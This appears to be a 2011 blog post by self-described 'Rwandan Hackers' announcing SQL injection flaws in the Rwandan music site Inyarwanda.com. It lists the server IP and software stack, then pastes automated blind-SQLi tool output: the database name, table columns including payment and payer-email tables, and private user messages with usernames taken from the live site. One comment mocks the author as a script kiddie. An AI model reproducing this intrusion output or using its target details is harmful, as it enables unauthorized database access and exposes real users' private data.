Wednesday, November 9, 2011

Vulnerability on Inyarwanda.com by Rwandan Hackers

Multiple vulnerability found on Inyarwanda.com By Rwandan Hackers.there are multiple SQLi vulnerability.
Using the vulnerability an attacker can exploit the entire database and gain illegal access
Vulnerable Website
SQL-i vulnability link: 
 Server info:

Host IP: 67.18.17.130
Web Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Powered-by: PHP/5.2.17
Keyword Found: turi
Injection type is String (')
DB Server: MsSQL Blind
Injection type is blind!
Length of 'Current DB' is 15
Current DB: masjos_inyarwan
Column found: usertype
Column found: firstname
Column found: lastname
Column found: email
Column found: datejoined
Column found: website
Column found: issuperuser
Column found: photo
Column found: joincode
Count(column_name) of information_schema.columns Where table_schema=0x6D61736A6F735F736F6E676C697374 AND table_name=0x6D657373616765735461626C65 is 6
Column found: time_sent
Column found: messageFrom
Column found: messageTo
Column found: messageObject
Column found: messageContent
Column found: message_id
Count(column_name) of information_schema.columns Where table_schema=0x6D61736A6F735F736F6E676C697374 AND table_name=0x706F6C6C734F7074696F6E73 is 3
Column found: option_name
Column found: poll_id
Column found: total_voters
Count(column_name) of information_schema.columns Where table_schema=0x6D61736A6F735F736F6E676C697374 AND table_name=0x70705F70617965725F656D61696C is 2
Column found: id
Column found: address
Count(column_name) of information_schema.columns Where table_schema=0x6D61736A6F735F736F6E676C697374 AND table_name=0x70705F7472616E73616374696F6E is 4
Column found: id
Column found: transaction_number
Column found: pp_payer_email_id
Column found: user_id
Count(*) of masjos_songlist.messagesTable is 33
Data Found: message_id=15621108
Data Found: messageContent=Hey,masjosirinho , i want to add you as my friend on Inyarwanda , because we can come to know each other better and share music or photos.
Data Found: messageObject=Friendship request
Turning off 'bypass illegal union' and retrying!
Data Found: messageTo=
Data Found: messageFrom=udalia01
Data Found: message_id=209678900
Data Found: messageContent=Hey,kananga , i want to add you as my friend on Inyarwanda , because we can come to know each other better and share music or photos.
Data Found: messageObject=Friendship request
Turning on 'bypass illegal union' and retrying!
Data Found: messageTo=
Data Found: messageFrom=necle05
Data Found: message_id=290330515
Data Found: messageContent=Hey,masjosirinho , i want to add you as my friend on Inyarwanda , because we can come to know each other better and share music or photos.
This is a music production producing Jayels Family songs and videos
Data Found: messageObject=Friendship request
Turning off 'bypass illegal union' and retrying!
Data Found: messageTo=
Data Found: messageFrom=JF SOUNDS INC
Data Found: message_id=301374170
Data Found: messageContent=Hey,kananga , i want to add you as my friend on Inyarwanda , because we can come to know each other better and share music or photos.
Data Found: messageObject=Friendship request
Turning on 'bypass illegal union' and retrying!
Data Found: messageTo=
Data Found: messageFrom=mwarabu
Data Found: message_id=324264294
Data Found: messageContent=Hey,kananga , i want to add you as my friend on Inyarwanda , because we can come to know each other better and share music or photos.
Data Found: messageObject=Friendship request
Turning off 'bypass illegal union' and retrying!
Data Found: messageTo=
Data Found: messageFrom=luckh20
Data Found: message_id=345110140
Data Found: messageContent=Hey,kananga , i want to add you as my friend on Inyarwanda , because we can come to know each other better and share music or photos.
Data Found: messageObject=Friendship request
Turning on 'bypass illegal union' and retrying!
Data Found: messageTo=
Data Found: messageFrom=elise
Data Found: message_id=356466499
Data Found: messageContent=Hey,kananga , i want to add you as my friend on Inyarwanda , because we can come to know each other better and share music or photos.
Data Found: messageObject=Friendship request
Turning off 'bypass illegal union' and retrying!
Data Found: messageTo=
Data Found: messageFrom=serginho
Data Found: message_id=359906520
Data Found: messageContent=Hey,kananga , i want to add you as my friend on Inyarwanda , because we can come to know each other better and share music or photos.
Data Found: messageObject=Friendship request
Turning on 'bypass illegal union' and retrying!
Data Found: messageTo=
Data Found: messageFrom=kamana
Data Found: message_id=367940213
Data Found: messageContent=Hey,masjosirinho , i want to add you as my friend on Inyarwanda , because we can come to know each other better and share music or photos.
Data Found: messageObject=Friendship request
Turning off 'bypass illegal union' and retrying!
Data Found: messageTo=
Data Found: messageFrom=kananga
Data Found: message_id=490640007
Data Found: messageContent=Hey,masjosirinho , i want to add you as my friend on Inyarwanda , because we can come to know each other better and share music or photos. 

1 comment:

  1. I like you Script Kid
    You really amazing with your
    Havij
    nmap and
    sqlmap

    ReplyDelete